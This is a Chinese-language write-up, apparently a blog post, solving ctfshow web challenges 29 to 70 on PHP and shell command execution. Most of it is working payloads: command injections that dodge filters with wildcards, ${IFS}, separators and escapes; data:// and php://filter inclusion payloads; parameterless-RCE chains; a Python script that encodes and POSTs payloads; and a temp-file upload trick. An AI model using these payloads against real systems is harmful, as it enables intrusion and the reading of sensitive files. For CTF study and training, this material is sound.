CTF web入门之命令执行 完整版
web29 文件名过滤
由于flag被过滤,需要进行文件名绕过,有以下几种方法:
1.通配符绕过 fla?.*
2.反斜杠绕过 fl\ag.php
3.双引号绕过 fl’‘ag’'.php
还有特殊变量$1、内联执行等
此外 读取文件利用cat函数,输出利用system、passthru 、echo
echo `nl fl''ag.php`;
echo `cat fl''ag.php`;
system("cat fl*");
system("tail fla*");
passthru('cat fl?g.*');
**web30:**命令执行,需要严格的过滤
system不能使用,使用passthru、echo等 flag,php过滤继续用通配符绕过
passthru('cat fl?g.*');
echo `cat fl''ag.*`;
web31:
可以使用使用空格绕过(%09) 也可也使用&拼接使用eval函数可以使用POST和GET其实一样的
也可以使用反字节符号配合echo,执行的效果类似于system ,例如echo ls;
再利用tac加%20(空格)绕过空格和cat:(这里%20不行,可以用%09制表符)
.被过滤,则直接采用*,*表示多个字符,?表示一个字符
echo(`ls`);
?c=echo(`tac%09fla*`);
?c=passthru("tac%09fla*");
?c=passthru("more%09f*");
web32:
绕过思路:过滤了system,echo,这里可以使用passthru,但是这次还过滤了括号,所以passthru也没有办法用,这里使用文件包含,通过php://filter协议进行读取文件
无法使用分号,可以使用php中的?>进行绕过,空格用%0a绕过
1.使用include文件包含函数上传一句话木马
使用data伪协议,得到目录名
data伪协议: data://text/plain,php执行命令
?c=include%0a$_GET[1]?>&1=data://text/plain,<?php system('ls');?> c=include%0a$_GET[1]?>
include:这是 PHP 里的一个语句,其作用是将指定文件的内容包含到当前文件中并执行
。
%0a:这是 URL 编码,代表换行符 \n。在构造恶意代码时,用换行符能让代码更符合 PHP 的语法规范。$_GET[1]:$_GET 是 PHP 中的一个超全局数组,用于获取通过 GET 请求传递的参数。$_GET[1] 表示获取名为 1 的 GET 参数的值。?>:这是 PHP 代码块的结束标记。综合起来,c 参数的内容本质上是一段 PHP 代码,其功能是包含并执行通过 $_GET[1] 获取到的文件内容。&1=data://text/plain,<?php system('ls');?>&:在 URL 里,& 是用于分隔不同参数的符号。1=:表示参数名为 1。data://text/plain:这是 PHP 的伪协议,
data:// 允许你直接在 URL 中嵌入数据。text/plain 表明数据的 MIME 类型为纯文本。
<?php system('ls');?>:这是一段 PHP 代码,system 函数用于执行系统命令,这里执行的是 ls 命令,其作用是列出当前目录下的文件和文件夹。<?php system("tac flag.php");?> 直接读取文件信息
知识点:php中不需要使用括号的函数:
1. include 和 require
这两个函数用于包含和执行指定的文件。它们可以在没有括号的情况下使用:
include 'file.php'; // 可以不使用括号
require 'file.php'; // 可以不使用括号
2. echo 和 print
这两个语言结构用于输出内容。它们可以在没有括号的情况下使用:
echo 'Hello, World!'; // 可以不使用括号
print 'Hello, World!'; // 可以不使用括号
3. isset 和 empty
这两个函数用于检查变量的状态。它们也可以在没有括号的情况下使用:
if isset($var) { // 可以不使用括号// 代码
}
if empty($var) { // 可以不使用括号// 代码
}
4. list
list 结构用于将数组中的值赋给变量。它可以在没有括号的情况下使用:
list($a, $b) = array(1, 2); // 需要括号,但可以在赋值时不使用
5. exit 和 die
这两个函数用于终止脚本的执行。它们可以在没有括号的情况下使用:
exit; // 可以不使用括号
die; // 可以不使用括号
php://filter/read=convert.base64-encode/resource=flag.php #伪协议
这个伪协议的作用是读取 flag.php 文件的内容,并将其进行 Base64 编码后返回。例如,在 PHP 代码中使用这个伪协议:php://filter 伪协议 它允许你在读取或写入文件时对数据进行过滤和转换
基本语法如下:
php://filter/[读|写操作]/[过滤器链]/resource=[文件名]
读 | 写操作:可以是 read(读取数据时过滤) 或 write(写入数据时过滤)
过滤器链:由一个或多个过滤器组成,多个过滤器之间用 | 分隔。
文件名:要操作的文件的名称。convert.base64-encode 过滤器
convert.base64-encode 是 php://filter 支持的一个过滤器,它的作用是将读取的数据进行
Base64 编码。Base64 编码是一种将二进制数据转换为 ASCII 字符的编码方式,常用于在文本协议中传输二进制数据
**web33:**多了个双引号 和上面的题一样
web34:同web33
**web35:**同web33
?c=include%0a$_GET[cmd]?>&cmd=php://filter/read=convert.base64-encode/resource=flag.php?c=include$_GET[cmd]?>&cmd=data://text/plan,<?php system("tac flag.php")?>?c=include$_GET[cmd]?>&cmd=data://text/plan;base64;PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
#到这里有三种方法可以使用
**web36:**同web33 在前面的基础上,过滤了数字
这里过滤了数字0-9 还是可以使用上面的PayLoad只要传参的不是数字就行
?c=include%0a$_GET[cmd]?>&cmd=php://filter/read=convert.base64-encode/resource=flag.php?c=include$_GET[cmd]?>&cmd=data://text/plan,<?php system("tac flag.php")?>
**web37:**多了个 include($c)。且过滤flag;
将指定文件的内容包含到当前文件里并执行
绕过思路:文件包含常用攻击手法,伪协议读取文件内容
data://text/plain,<?php system("tac *.php");?>
?c=data://text/palin,<?php system("tac f*");?>
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZioiKTs/Pg==
web:38: 同web37 多了过滤php.
绕过思路:加密
**web39:**变量 $c 的值与 .php 拼接后的文件路径所对应的文件内容包含进来
绕过思路:注释后面代码,或者去掉.php 在拼接
使用#注释符注释掉即可
data://text/plain,<?php system("cat fla?.*");?>#
data://text/plain,<?php system('cat *.php')?>#发现不使用#也能访问,因为?>就代表了语句的结束
data://text/plain,<?php system('cat *.php')?>
去掉php
?c=data://text/palin,<?=system("tac f*");?>
?c=data://text/palin,<?php system("tac f*");?>
web40:
过滤了引号、$、冒号,还不能用伪协议
一般括号里参数都要用引号,这里学习一下无参数RCE(remote command/code execute)
https://www.freebuf.com/articles/system/242482.html
无参数的意思可以是a()、a(b())或a(b(c())),但不能是a(‘b’)或a(‘b’,‘c’),不能带参数。
print_r(scandir(‘.’));查看当前目录下的所有文件名
localeconv() 函数返回一包含本地数字及货币格式信息的数组。
current() 函数返回数组中的当前元素(单元),默认取第一个值,pos是current的别名 ,读取目录文件后,发现输出的是数组,而文件名是数组中的值,下一步我们需要取出想要读取文件的数组.
scandir() 函数用于列出指定目录中的文件和文件夹
each() 返回数组中当前的键/值对并将数组指针向前移动一步
end() 将数组的内部指针指向最后一个单元
next() 将数组中的内部指针向前移动一位
prev() 将数组中的内部指针倒回一位
pos() 同 current() ,是current()的别名
reset() 函数返回数组第一个单元的值,如果数组为空则返回 FALSE
array_reverse():数组逆序array_flip()是交换数组的键和值
show_source() 函数用于读取并高亮显示指定文件的源代码
payload print_r(scandir(current(localeconv())));页面返回
Array ( [0] => . [1] => .. [2] => flag.php [3] => index.php )
其中,[0] 位置的 . 代表当前目录,[1] 位置的 .. 代表父目录。[2] => flag.php存在一个名为 flag.php 的 PHP 文件。[3] => index.php PHP 文件show_source(next(array_reverse(scandir(current(localeconv())))));
方法2:则尝试利用全局变量
需要用到get_defined_vars()函数 返回所有已定义的变量所组成的数组
执行以下代码c=print_r(get_defined_vars()); 获取已定义的变量所组成的数组
[_GET] => Array ( [c] => print_r(get_defined_vars()); )
$_GET 是 PHP 中的一个超全局数组,用于存储通过 HTTP GET 请求传递的参数。在这个数组里,有一个键为 c 的元素,其值是 print_r(get_defined_vars());。这表明在当前的 GET 请求中,传递了一个名为 c 的参数,且参数值为 print_r(get_defined_vars());。通常在存在代码注入漏洞的应用中,攻击者会利用这种方式传递恶意代码,尝试让服务器执行。[_POST] => Array ( )
$_POST 同样是 PHP 的超全局数组,用于存储通过 HTTP POST 请求传递的参数。这里该数组为空,意味着当前请求没有通过 POST 方式传递任何参数。[_COOKIE] => Array ( )
$_COOKIE 是用于存储客户端发送的 cookie 信息的超全局数组。此数组为空,说明客户端在本次请求中没有发送任何 cookie。[_FILES] => Array ( )
$_FILES 是 PHP 中用于处理文件上传的超全局数组。这里为空,表明当前请求没有包含文件上传操作。[c] => print_r(get_defined_vars());
这表明在当前作用域内定义了一个名为 c 的变量,其值为print_r(get_defined_vars());。这个变量可能是从 $_GET 数组中提取出来并赋值的,也可能是在其他代码逻辑中定义的
执行:?cmd=system(“ls”);&c=print(pos(pos(get_defined_vars())));
先传入cmd,pos表示返回第一行内容。返回
?cmd=system(“tac flag.php”);&c=eval(pos(pos(get_defined_vars())));
web41:
绕过思路:把数字和字母都给过滤了,这里的思路是构造system(“ls”),但是字母被过滤。没有过滤“|”,利用它构造。
按照提示里面的内容操作,命令执行起来存在点小问题。需要SSL证书。
可参考:https://blog.csdn.net/Myon5/article/details/139544869
最后换了一种操作。
原文在这:https://blog.csdn.net/longl_guyu/article/details/140551134
新建一个py丢进去,执行的时候 添加URL就行
import re
import urllib
from urllib import parse
import requests# 初始化一个列表来存储编码后的字符信息
contents = []# 遍历所有可能的ASCII字符(从0x00到0xFF)
for i in range(256):for j in range(256):# 将整数i和j转换为两位的十六进制字符串(如:'00'到'ff')hex_i = '{:02x}'.format(i)hex_j = '{:02x}'.format(j)# 编译一个正则表达式,用于检测需要特殊处理的字符preg = re.compile(r'[0-9]|[a-z]|\^|\+|~|\$|\[|]|\{|}|&|-', re.I)# 如果当前字符是需要特殊处理的字符,则跳过本次循环if preg.search(chr(int(hex_i, 16))) or preg.search(chr(int(hex_j, 16))):continue# 否则,将字符转换为百分号编码格式(如:'%20'代表空格)a = '%' + hex_ib = '%' + hex_j# 计算两个十六进制值按位或运算的结果,并确保结果是一个可打印的字符c = chr(int(a[1:], 16) | int(b[1:], 16))# 只保留ASCII码在32到126之间的字符(即可打印字符)if 32 <= ord(c) <= 126:contents.append([c, a, b]) # 将字符、其百分号编码形式以及备用编码形式添加到列表中# 定义一个函数,用于生成payload
def make_payload(cmd):payload1 = '' # 初始化第一个payload字符串payload2 = '' # 初始化第二个payload字符串# 遍历给定命令的每一个字符for char in cmd:# 在contents列表中查找与当前字符匹配的项for item in contents:if char == item[0]: # 如果找到了匹配的项payload1 += item[1] # 添加其百分号编码形式到payload1payload2 += item[2] # 添加其备用编码形式到payload2break # 找到匹配项后跳出循环# 返回一个字符串,其中包含了原始的和备用的十六进制编码,以括号包围return '("' + payload1 + '"|"' + payload2 + '")'# 获取用户输入的URL
URL = input('url:')# 创建payload,首先对'系统'命令进行编码,然后对'cat flag.php'命令进行编码
payload = make_payload('system') + make_payload('cat flag.php')# 发送POST请求到指定的URL,数据中包含编码后的payload
response = requests.post(URL, data={'c': urllib.parse.unquote(payload)}, verify=False)# 输出服务器的响应文本
print(response.text)
web42:
表示get方式输入c 会在c后添加 >/dev/null 2>&1 ,再放入system()函数中。可通过“;”进行截断,回显出flag.
/dev/null 2>&1是一个 shell 重定向操作,命令的标准输出(stdout)和标准错误(stderr)都被重定向到 /dev/null,即被丢弃,就是指,无论有输出还是没有输出,都不会回显。所以,我们在输入时可以使 >/dev/null 2>&1被注释或者不执行。
操作系统的链接符:
?c=ls| |把前面命令的输出当作后面那条命令的参数,最终只显示最终结果
?c=ls|| ||前面命令成功,后面命令不执行;前面不成功,后面命令执行
?c=ls& &两条命令都会执行
?c=ls&& &&前一条命令执行成功,才会执行后面
?c=ls; ;分为多条语句按序执行
再将命令换为cat flag.php; 即可
注:使用 && 和&,需要进行url编码。
cat flag.php||
cat flag.php%;
cat flag.php%26%26
**web43:**在上一题的基础上过滤了cat ;
不能使用;,使用其他的符号,tac替代cat访问文件内容
|| :分隔符前面命令成功,后面命令不执行
%0a:URL 编码后的换行符
%26%26: 是 URL 编码后的 && 符号
cat flag.php||
cat flag.php%0a
cat flag.php%26%26
**web44:**在上一题的基础上过滤了flag;
我们可以使用*或者???绕过。
tac *.php||
tac fla?.php%0a
more fla?.php%0a
**web45:**在上一题的基础上过滤了空格:
尝试使用url编码空格:%0a,无法绕过。
尝试换行符的url编码%09,成功绕过得到flag。
${IFS}:也可以绕过对空格的过滤
c=more%09fla?.php||
c=tac%09fla?.php%0a
c=more${IFS}f*%0a
**web46:**在上一题的基础上过滤了数字 * &:
还可以使用?:
more%09fla?.php||
tac%09fla?.php||
tac%09fla?.php%0a
**web47:*在上一题的基础上过滤几个用于显示的函数
这里是通过”>/dev/null 2>&1”把输出的内容不进行回显,“;”也被过滤了,我们使用命令分隔符“||”进行截断,过滤了flag,用通配符绕过,多过滤了空格,%09绕过。过滤了,用“?”代替。又多过滤了几个读取文件的命令,继续使用上题的payload,tac没有过滤。
tac%09fla?.php||
tac%09fla?.php%0a
cat:用于按正常顺序查看文件内容或合并文件。
tac:用于反向查看文件内容,即从文件末尾开始逐行输出
web48: 同上题:只是多了几个参数
tac%09fla?.php||
tac%09fla?.php%0a
cat:用于按正常顺序查看文件内容或合并文件。
tac:用于反向查看文件内容,即从文件末尾开始逐行输出
web49: 同上题:只是多了几个参数
tac%09fla?.php||
tac%09fla?.php%0a
cat:用于按正常顺序查看文件内容或合并文件。
tac:用于反向查看文件内容,即从文件末尾开始逐行输出
web50:
%09不能使用了,使用其他方法进行空格绕过,例如重定向字符 < 、<>
使用?,被过滤。使用‘’或者“”防止flag被过滤。
?c=tac<fla’'g.php||
<:用于将文件内容作为命令的输入,常用于那些通常从标准输入读取数据的命令。
<> :用于以读写模式打开文件,允许命令对文件进行读取和修改操作。
?c=tac<fla''g.php||
?c=tac<>fla''g.php||
?c=tac<>fla""g.php||
**web51:*同上题:
绕过思路:这里是通过”>/dev/null 2>&1”把输出的内容不进行回显,“;”也被过滤了,我们使用命令分隔符“||”进行截断,过滤了flag,用通配符绕过,多过滤了空格,%被过滤,%09无法绕过,使用<>进行绕过。过滤了,用“?”代替,但是读不出来,使用“\”绕过。又多过滤了几个读取文件的命令,tac也给过滤了,我们使用nl或者ta\c进行绕过。
?c=ta\c<fla''g.php||
?c=t''ac<>fla''g.php||
?c=t""ac<>fla""g.php||
nl<fla''g.php||
nl:主要功能是对文件内容进行编号并输出
web52:
绕过思路:这里是通过”>/dev/null 2>&1”把输出的内容不进行回显,“;”也被过滤了,我们使用命令分隔符“||”进行截断,过滤了flag,用通配符绕过,多过滤了空格,%被过滤,%09无法绕过,<>也被过滤了无法进行绕过,使用${IFS}绕过。过滤了*,用“?”代替,但是读不出来,使用“\”绕过。又多过滤了几个读取文件的命令,tac也给过滤了,我们使用nl或者ta\c进行绕过
?c=ta\c${IFS}/fla''g||
?c=nl${IFS}/fla\g%0a
${IFS} 能替代空格的作用
web53: 跟上一样,只是不用截断
?c=nl${IFS}fla?.php
?c=ca\t${IFS}fla\g.php
?c=nl${IFS}fla\g.php
**web54:*以下读取文件命令以及一些符号不能使用
绕过思路:过滤了flag,用通配符绕过,多过滤了空格,%被过滤,%09无法绕过,<>也被过滤了无法进行绕过,使用${IFS}绕过。过滤了,用“?”代替。又多过滤了几个读取文件的命令,tac也给过滤了,无法使用ta\c进行过滤了。所以这里我们使用grep.在flag.php中查找带有show字符串的一行(因为flag的格式为ctfshow{})
替代cat读取文件内容的函数:
tac 从最后一行往前显示
more 一页一页显示内容
less 相当于more
tail 查看末尾几行
nl 显示时加上行号
od 以二进制方式读取
xxd 左边显示二进制,右边显示编码
sort 用于排序文件
paste:是将多个文件按列合并后输出。
grep:文本搜索工具
?c=xxd${IFS}fla?.php
?c=paste${IFS}fla?.php
?c=grep${IFS}show${IFS}fl?g.php
web55:过滤了;|小写字母|`|%|\x09(空格)|\x26(&)|<|>
因为过滤了字母,有一个含数字的base64命令可以读文件,用通配符绕过字母,在/bin目录下,使用/???/???64
?c=/bin/base64 flag.php(flag.php全靠猜)
即?c=/???/???64 ???.???
web56:该题还过滤了数字,无法使用上题的方法,只能使用临时文件上传
绕过思路:无字母数字webshell。在linux shell中,.可以用当前的shell执行一个文件中的命令,比如.file就是执行file文件中的命令。所以本题可以post上传一个包含命令的文件,然后通过.来执行文件中的命令即可读到flag。
首先先写一个脚本.记得把url给改掉
<!DOCTYPE html>
<html>
<body>
<form action="http://d5fb2a5e-8342-4737-805f-0538c243b172.challenge.ctf.show:8080/" method="POST" enctype="multipart/form-data"><input type="file" name="file" /><input type="submit" value="submit" />
</form>
</body>
</html>
启动phpstudy服务 把弄好的脚本文件丢进去。执行
打开burp进行抓包 改一下 画框的内容
?c=.%20/???/????????[@-[]glob支持利用[0-9]来表示一个范围,所以我们可以用[A-Z]来匹配文件的最后一位,但因为过滤了字母,需要把A改为A的前一位@,把Z改为Z的后一位[来匹配大写字母为什么要匹配大写字母,因为其实用/???/?????????匹配到的其他文件都是小写字母,只有php临时生成的文件才包含大写字母,不过因为是随机生成的大写字母,不一定每次都是大写,可以多试几下
web57:
看注释可以发现flag在36.php里面,然后又因为.php已经在system里面的,所以这回就只需要构造一下36这个数
$(()) 这个代表-1
$((~37)) 这个代表(37取反)-1,即36
$(())$(()) 这个代表-1-1,即-2
另外取反的操作优先级是低于$(())的
所以这里:
$((~$(())$(()))) 即((-1-1)取反)-1,即1
要构造36即36个1加起来就行了:
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))即:
?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))双小括号 (( )) 是 Bash Shell 中专门用来进行整数运算的命令,它的效率很高,写法灵活,是企业运维中常用的运算命令。通俗地讲,就是将数学运算表达式放在((和))之间。 表达式可以只有一个,也可以有多个,多个表达式之间以逗号,分隔。对于多个表达式的情况,以最后一个表达式的值作为整个 (( ))命令的执行结果。 可以使用$获取 (( )) 命令的结果,这和使用$获得变量值是类似的。 可以在 (( )) 前面加上$符号获取 (( )) 命令的执行结果,也即获取整个表达式的值。以 c=$((a+b)) 为例,即将 a+b 这个表达式的运算结果赋值给变量 c。 注意,类似 c=((a+b)) 这样的写法是错误的,不加$就不能取得表达式的结果。
如果说要构造36,在相应位置输入37,即可构造出36.
data = "$((~$(("+"$((~$(())))"*37+"))))"
print(data)
web58:改用post方式
eval函数的作用是获取返回值,所以传入导eval中的数据需要是一个有返回值的函数
先总结一下知识:
查看当前目录整体地址:
c=print_r(scandir('./'));
c=var_dump(scandir('./'));
c=print_r(scandir(dirname('__FILE__')));
c=print_r(scandir(current(localeconv())));
c=$a=opendir("./"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };查看根目录:
c=print_r(scandir("/"));
c=var_dump(scandir('/'));
c=var_export(scandir('/'));
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}通过单一函数读取文件:
c=show_source('flag.php');
c=echo file_get_contents("flag.php"); // 这个要看源代码
c=readfile("flag.php"); // 这个要看源代码
c=var_dump(file('flag.php'));
c=print_r(file('flag.php'));// file函数表示把整个文件读入一个数组中
通过fopen读取文件内容:
fread()
fgets() // 一行一行的读取
fgetc() // 一个一个的读取
fgetss()
fgetcsv()
fpassthru()
// 这些都是与fopen函数配合使用的
总结一下payload(一些用不了就换一些就行了)
feof():用于检测是否已到达文件末尾,到达返回1
fgets():一行一行的读取
fgetc():一个一个的读取
fgetss():从打开的文件中返回一行,并过滤掉 HTML 和 PHP 标签 // 只适用于php7.3之前版本
fgetcsv():函数从打开的文件中解析一行,校验 CSV 字段(逗号分隔值)
var_dump():显示关于一个或多个表达式的结构信息,数组将递归展开值,通过缩进显示其结构
fread():读取打开的文件,有两个参数,前者为要读取的文件,后者为读取最大字节
fpassthru():从打开文件的当前位置开始读取所有数据,直到文件末尾(EOF),并向输出缓冲写结果
localeconv():返回一个包含本地数字及货币格式信息的数组
current():输出数组中的当前元素的值
scandir():列出目录中的文件和目录
array_reverse():返回翻转顺序的数组 // 因为current读取的最前面时根目录,有用的信息一般在后面
show_source():用于读取指定文件的内容,并以 HTML 格式输出,同时对代码进行语法高亮显示。其本质是调用了 highlight_file() 函数,二者功能相似。
highlight_file():同样是读取指定文件的内容,以 HTML 格式输出并对代码进行语法高亮显示。此外,它还会返回处理后的 HTML 代码字符串,而 show_source() 直接输出结果,不返回值高亮显示php文件
c=show_source("flag.php");
c=highlight_file("flag.php");
c=highlight_file(next(array_reverse(scandir(current(localeconv())))));一些好用的payload
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;} //源代码
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;} //源代码
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);var_dump($line);}c=file_get_contents("flag.php");
c=var_dump(file("flag.php"));
c=$a=fopen("flag.php","r");echo fpassthru($a); // 源代码
c=$a=fopen("flag.php","r");echo fread($a,"1000"); // 源代码$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetss($a);echo $line;} // php<7.3同时也可以通过复制、重命名来读取php文件内容。在执行完后只需要访问改文件就可以了
copy() // 复制
rename() // 重命名c=copy("flag.php","1.txt"); // 复制为1.txt
c=rename("flag.php","1.txt"); // 重命名为1.txt
调用 system 函数,发现函数被禁用。可以调用上面的payload,很有意思
找文件
c=print_r(scandir(pos(localeconv())));
c=print_r(scandir("./"));
c=print_r(scandir("/"));
c=print_r(scandir("../"));看文件
c=show_source('flag.php');
c=highlight_file('flag.php');
c=include("php://filter/convert.iconv.utf8.utf16/resource=flag.php");
c=copy("flag.php","flag.txt");
c=echo file_get_contents("flag.php");
c=readfile("flag.php");
c=print_r(file("flag.php"));
web59:同上:
web60:同上
web61:同上
web62:同上
web63:同上
web64:同上:
web65:同上
web66:
web67:同上
web68:直接告诉你不能用highlight_file()
目录扫描:
c=$a=opendir("./"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };opendir("./"):这个函数的作用是打开当前目录(. 表示当前目录),并且返回一个目录句柄,将其赋值给变量 $a。readdir($a):它会从由 $a 所代表的目录句柄里读取下一个文件或目录的名称。当读取到目录末尾时,会返回 false。while (($file = readdir($a)) !== false):这是一个循环结构,只要 readdir($a) 不返回 false,就会持续循环。在每次循环中,把读取到的文件名赋值给变量 $file。
echo $file . "<br>";:将读取到的文件名输出,并且在文件名后面添加一个 HTML 换行标签 <br>c=include('flag.php'); echo $flag;include('flag.php'):这个函数会把 flag.php 文件的内容包含到当前文件中执行。通常情况下,flag.php 文件可能会定义一些变量或者函数。echo $flag;:尝试输出 $flag 变量的值。一般来说,$flag 变量应该是在 flag.php 文件中定义的,可能包含敏感信息。
在扫扫别的看看
c=$a=opendir("/"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };c=include('/flag.txt');
web69:同上
web70:同上:多禁用了几个参数
扫描目录 改一下就可以
c=$a=opendir("/"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };c=include('/flag.txt')